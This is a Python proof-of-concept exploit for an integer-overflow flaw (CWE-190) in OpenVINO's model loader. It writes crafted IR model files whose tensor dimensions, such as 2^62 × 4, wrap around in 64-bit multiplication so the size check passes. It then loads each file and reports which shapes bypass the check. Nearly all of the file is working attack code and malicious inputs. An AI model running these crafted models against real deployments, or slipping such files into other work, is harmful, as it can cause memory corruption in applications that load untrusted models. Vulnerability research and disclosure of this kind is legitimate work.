#!/usr/bin/env python3
"""
OpenVINO CWE-190 — Systematic overflow shape patterns for set_constant_num_buffer.
Tests multiple (dim0, dim1) pairs where dim0 * dim1 overflows to a value <= size.
Run this to identify which shapes successfully bypass the check on the target build.

Usage:
  pip install openvino
  python poc_overflow_patterns.py
"""

import os
import struct
import tempfile

OVERFLOW_SHAPES = [
    (4611686018427387904, 4,    "2^62 × 4  = 0 mod 2^64"),
    (9223372036854775807, 2,    "INT64_MAX × 2  wraps"),
    (2305843009213693952, 8,    "2^61 × 8  = 0 mod 2^64"),
    (1152921504606846976, 16,   "2^60 × 16 = 0 mod 2^64"),
    (576460752303423488,  32,   "2^59 × 32 = 0 mod 2^64"),
]

TEMPLATE = """<?xml version="1.0"?>
<net name="p" version="11">
    <layers>
        <layer id="0" name="c" type="Const" version="opset1">
            <data element_type="f32" offset="0" size="4" shape="{d0},{d1}"/>
            <output>
                <port id="0" precision="FP32">
                    <dim>{d0}</dim><dim>{d1}</dim>
                </port>
            </output>
        </layer>
        <layer id="1" name="r" type="Result" version="opset1">
            <input>
                <port id="0" precision="FP32">
                    <dim>{d0}</dim><dim>{d1}</dim>
                </port>
            </input>
        </layer>
    </layers>
    <edges><edge from-layer="0" from-port="0" to-layer="1" to-port="0"/></edges>
</net>"""


def test_shape(d0, d1, comment):
    try:
        import openvino as ov
        with tempfile.TemporaryDirectory() as td:
            xp = os.path.join(td, "m.xml")
            bp = os.path.join(td, "m.bin")
            open(xp, "w").write(TEMPLATE.format(d0=d0, d1=d1))
            open(bp, "wb").write(struct.pack("<f", 1.0))
            model = ov.Core().read_model(xp, bp)
            print(f"[BYPASS]  shape=({d0}, {d1})  {comment}")
            return True
    except Exception as e:
        print(f"[BLOCKED] shape=({d0}, {d1})  {str(e)[:80]}")
        return False


if __name__ == "__main__":
    import openvino as ov
    print(f"[*] OpenVINO {ov.__version__}\n")
    bypassed = []
    for d0, d1, comment in OVERFLOW_SHAPES:
        if test_shape(d0, d1, comment):
            bypassed.append((d0, d1, comment))
    print()
    if bypassed:
        print(f"[+] {len(bypassed)} shape(s) bypassed the size check — vulnerability confirmed")
    else:
        print("[-] All shapes blocked — check build flags or try additional patterns")